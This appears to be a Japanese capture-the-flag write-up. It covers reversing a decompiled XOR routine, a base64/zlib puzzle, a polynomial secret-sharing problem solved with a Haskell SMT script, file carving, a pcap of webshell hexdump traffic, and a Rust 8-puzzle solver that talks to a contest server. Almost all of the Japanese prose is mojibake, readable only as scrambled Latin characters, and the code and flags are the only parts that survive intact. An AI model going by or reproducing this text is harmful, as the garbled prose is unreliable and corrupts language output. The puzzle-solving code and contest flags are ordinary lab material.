èªãã æããã³ãã³ã0ã§æ¤ç´¢ãã³ãã³ã1ã§ã¨ã³ããªè¿½å ãã³ãã³ã2ã§ã¨ã³ããªåé¤ãã³ãã³ã3ã§çµäºã¨è¨ã£ãæãã ããã®ã¾ã¾ã ã¨ã©ãã«ããã©ã°ã¯ç¾ãããªãããã©ã°ã®å¤å®ããã¦ããã¨ããããªãã
ã¨ã³ããªã§å
¥åããããã¹ã¯Entry::encrypt()
ã¨ããé¢æ°ã§æå·åããã¦ä¿åãããã
void encrypt(int param_1) { long lVar1; byte *pbVar2; undefined4 in_register_0000003c; long lVar3; int local_1c; lVar3 = CONCAT44(in_register_0000003c,param_1); local_1c = 0; while( true ) { lVar1 = length(); if (lVar1 - 4U <= (ulong)(long)local_1c) break; pbVar2 = (byte *)operator[]((basic_string<char,std--char_traits<char>,std--allocator<char>> *) (lVar3 + 0x20),(long)local_1c); *pbVar2 = *(byte *)(lVar3 + 0x43) ^ *pbVar2; pbVar2 = (byte *)operator[]((basic_string<char,std--char_traits<char>,std--allocator<char>> *) (lVar3 + 0x20),(long)(local_1c + 1)); *pbVar2 = *(byte *)(lVar3 + 0x41) ^ *pbVar2; pbVar2 = (byte *)operator[]((basic_string<char,std--char_traits<char>,std--allocator<char>> *) (lVar3 + 0x20),(long)(local_1c + 2)); *pbVar2 = *(byte *)(lVar3 + 0x43) ^ *pbVar2; pbVar2 = (byte *)operator[]((basic_string<char,std--char_traits<char>,std--allocator<char>> *) (lVar3 + 0x20),(long)(local_1c + 3)); *pbVar2 = *(byte *)(lVar3 + 0x41) ^ *pbVar2; local_1c = local_1c + 4; } return; }
è¦ããã«ä½ããã£ã¦ããã®ãã¨ããã¨ãbyteå2è¦ç´ ã®ãã¼ã«ãã£ã¦ãåã«æåæ¯ã« s[i] ^= key[i%2]
ã¨ãã¦xorãæãã¦ããã ãã®ããã ã
ãã¤ããªãè¦ãã¨ããªããå¤ãªã¨ã³ã³ã¼ããããæååã®ãããªãã®ããã£ã¦ããããã©ãã§ä½¿ããã¦ããã®ã調ã¹ã¦ã¿ãã¨ãdestructor()
ã¨ããã¨ããã§ä½¿ããã¦ãããããã¯ããã°ã©ã çµäºæã«å¼ã³åºããããããã®ä¸ã§ããªãããããå¼æ°ã«ããã¨ã³ããªãç»é²ããã¦ãããã«åé¤ããã¦ããããªãã®ããã«ãããªãã¨ããã¦ããã®ãã¯åãããªãã
ããåãããªãããè¦ããã«ããã¯ã¨ã³ã³ã¼ããããæååã ã¨ãããã¨ãªã®ã ããããã¨ããããå é ä»è¿ã®ãã¼ã¿ã "ctf4b"ã¨xorããã¨ããªãã¨ãªãããè¨ãæãã£ã½ãã£ãã®ã§ãå é 2æåã®ãã¼ã§å ¨ä½ãxorããããªãã¨ãªããã©ã°ã£ã½ããã®ãåºã¦ããã
åºã¦ãããã©ã°ã¯ ctf4b{Impl3m3nt3d_By_Cp1u5p1u5Z
ã
ãªããå¾ãã®æ¹ãå£ãã¦ãã・・・ãåé¡èªä½ãå£ãã¦ãããããã®ã§ããã§OKã¿ããã ãC++ã§å®è£ ãããã³ã¼ã・・・ã¨ã¯ãããªããã¤ãã¤ã趣æ¨ãããåãããªãã£ããããã§è¯ãã£ãã®ã ãããï¼
Crypto: [warmup] So Tierd
base64ã£ã½ãå ¥åãä¸ããããã®ã§ããã³ã¼ãããã¨zlib compressed dataãåºã¦ãããzlib compressed dataãdecompressããã¨ä»åº¦ã¯base64ãåºã¦ãããããã¦ã¾ãããããã³ã¼ãããã¨zlib compressed dataãåºã¦ãã¦ããããç¹°ãè¿ãã¦ããã¨æçµçã«ãã©ã°ãåºã¦ããã
Crypto: Party
ãã©ã°ãæå·åããPythonããã°ã©ã ã¨æå·åããããã©ã°ãè²°ããã®ã§ãå ã®ãã©ã°ãæ±ããåé¡ã
æå·åããã°ã©ã ã§ã¯ä¹±æ°ã5åä½ã£ã¦ã¦ãããã¨ãã©ã°ãåããã6ã¤ã®æ´æ°ãflag, a, b, x, y, z
ã¨ããã¨ãx
, y
, z
, flag+a*x+b*x^2
, flag+a*y+b*y^2
, flag+a*z+b*z^2
ã®æ´æ°ãä¸ããããã®ã§ãå¤æ°6ã¤ã«å¼ã6åããã®ã§ã¾ãçå±ã¨ãã¦ã¯æ®éã«è§£ããã
解ããã¯ãã ãã©èããã®ã¯ããã©ãã£ãã®ã§ãSMTã½ã«ãã¼ã«è§£ãã¦ããããã¨ã«ããã
import Data.SBV [(x, fx), (y, fy), (z, fz)] = <input data...> main :: IO () main = print =<< sat problem problem :: Symbolic () problem = do flag <- sInteger "flag" a <- sInteger "a" b <- sInteger "b" constrain $ fx .== flag+a*x+b*x^2 constrain $ fy .== flag+a*y+b*y^2 constrain $ fz .== flag+a*z+b*z^2
å¼ãæ¸ãã ãã§ãããªãã¨ãã¦ããã¦ããèªåã§ä½ãèããããªããªãã
åºã¦ãããã©ã°ã¯ ctf4b{just_d0ing_sh4mir}
ã
ãªããããããã®ããããã§ããã・・・ã
Misc: [warmup] Welcome
å ¬å¼IRCãã£ã³ãã«ã«ç¹ãã ãã®ãã¤ã
Misc: containers
ä¸ãããããã¡ã¤ã«ã«ãè¦ãã¨ãã£ã¡ã沢山PNGããã®ã¾ã¾å ¥ã£ã¦ãããã«è¦ããã®ã§ãbinwalkã§åãåºãã¦ã¿ãã¨ãæåãæ¸ããããã¡ã¤ã«ãä¸æ¯åºã¦ããããããç¹ããã¨ãã©ã°ã«ãªã£ãã
ctf4b{e52df60c058746a66e4ac4f34db6fc81}
ã©ãããæå³ãªãã ãããã
Misc: Dump
pcapã®ãã³ãã¨æãããã¡ã¤ã«ãä¸ããããã®ã§è¦ãã¦ã¿ãã¨ãwebshellã¨ãããã¤ã§hexdumpã§ãã¡ã¤ã«ãè¦ãã¦ãã£ã½ãã®ãåºã¦ãããhexdumpã®å¼æ°èª¿ã¹ã¦ã©ããããã©ã¼ãããã§åºã¦ãã®ã調ã¹ã¦ãã³ã¼ãããã¨ãtar.gzãã¡ã¤ã«ãåºã¦ãã¦ãããã解çããã¨ã¨ã¦ãç½ãããªåçã®jpgãã¡ã¤ã«ã«ãã©ã°ãæ¸ããã¦ããã
ãã©ã°ã¯ ctf4b{hexdump_is_very_useful}
ã
ããã¯ç¥ã£ã¦ãã
Misc: Sliding puzzle
æå®ããããµã¼ãã¼ã«ç¹ãã¨ããããªæãã®
---------------- | 0 | 2 | 3 | | 6 | 7 | 1 | | 8 | 4 | 5 | ----------------
8ããºã«ã®åé¡ãããããéã£ã¦ããã®ã§ããã解ãã¨ããåé¡ãæé ã¯0 : ä¸ã1 : å³ã2 : ä¸ã3 : å·¦ã§ã¨ã³ã³ã¼ãããã
ãããã¨ã¯ã£ãããã¦ãã¦ã8ããºã«ã¯ç¤é¢æ°é«ã 9!ãããªãããBFSã§ä¸ç¬ã¨ããããå¥ã«é£ãã訳ã§ã¯ãªããããã¾ã¨ããªåé¡ï¼ã®ä¸ã§ã¯ãããä¸çªç°¡åãªæ°ãããã
æ¢ç´¢ãªã®ã§Rustã§æ¸ããããã®ãããã®è¦æ¨¡ãªãå¥ã«Pythonã§æ¸ãã¦ããããªã«æéã¯é£ããªãæ°ã¯ãããã§ãPythonã¯ããåãããªãããåã£ãã³ã¼ããæ¸ããããªãã£ãã
ã½ã±ããå¨ãã®ã³ã¼ãããã£ã±ãã©ããã¦ãã¡ãã£ã¨ããã©ããããªãã®ã§ãæ¢ç´¢ã ãRustã§æ¸ãã¦ãéä¿¡é¨åã¯Pythonã®pwntoolsã§æ¸ãã¦ãRustã®ããã»ã¹ãèªãã§ãè¯ãã£ãæ°ããããã§ãã¾ããããããããªããããããã¨ã¯ç¡ãããã©ã£ã¡ã§ãããæ°ã¯ããããã¨Rustã§ããå æ¸ã«éä¿¡ã¾ããã®ã³ã¼ããæ¸ãããããªã©ã¤ãã©ãªããã£ããããã¨ããããã®ããã®ã«è¯ãã®ããªãã¨ãæã£ãã
use std::io::{Write, Read}; use std::net::*; fn main() -> Result<(), Box<std::error::Error>> { let mut stream = TcpStream::connect("133.242.50.201:24912")?; loop { let mut buf = vec![0; 1024]; let len = stream.read(&mut buf)?; let s = String::from_utf8(buf[0..len].to_owned())?; print!("{}", s); let v = s .chars() .map(|c| if c.is_ascii_digit() { c } else { ' ' }) .collect::<String>() .split_whitespace() .map(|w| w.parse::<u32>().unwrap()) .collect::<Vec<_>>(); println!("{:?}", v); let ans = solve(&v); let ans = ans.iter().map(|i| format!("{}", i)).collect::<Vec<_>>().join(","); write!(&mut stream, "{}", dbg!(ans)); } Ok(()) } fn encode(bd: &Vec<u32>) -> u64 { (0..9).map(|i| (bd[i] as u64) << (i * 4)).sum() } fn solve(bd: &Vec<u32>) -> Vec<u32> { let start = encode(bd); let goal = encode(&vec![0, 1, 2, 3, 4, 5, 6, 7, 8]); let mut q = std::collections::VecDeque::new(); q.push_back(start); let mut prev = std::collections::HashMap::<u64, (u32, u64)>::new(); prev.insert(start, (0, 0)); const VECT: &[(i32, i32)] = &[(0, -1), (1, 0), (0, 1), (-1, 0)]; while let Some(bd) = q.pop_front() { assert!(prev.contains_key(&bd)); if bd == goal { println!("FOUND"); break; } let mut x = 0; let mut y = 0; for i in 0..9 { if ((bd >> (i * 4)) & 15) == 0 { x = i % 3; y = i / 3; } } for dir in 0..4 { let (vx, vy) = VECT[dir as usize]; let nx = x as i32 + vx; let ny = y as i32 + vy; if nx >= 0 && nx < 3 && ny >= 0 && ny < 3 { let nbd = swap(bd, x, y, nx as usize, ny as usize); if !prev.contains_key(&nbd) { prev.insert(nbd, (dir, bd)); q.push_back(nbd); } } } } let mut cur = goal; let mut ans = vec![]; while cur != start { let (mv, next) = prev.get(&cur).unwrap(); cur = *next; ans.push(*mv); } ans.reverse(); ans } fn swap(bd: u64, x: usize, y: usize, nx: usize, ny: usize) -> u64 { let p = (y * 3 + x) * 4; let np = (ny * 3 + nx) * 4; bd & !(15 << p) & !(15 << np) | (((bd >> p) & 15) << np) | (((bd >> np) & 15) << p) }
100å解ãã¨ãã©ã°ãç¾ããããctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}
ãããã©ãããæå³ãªãã ããã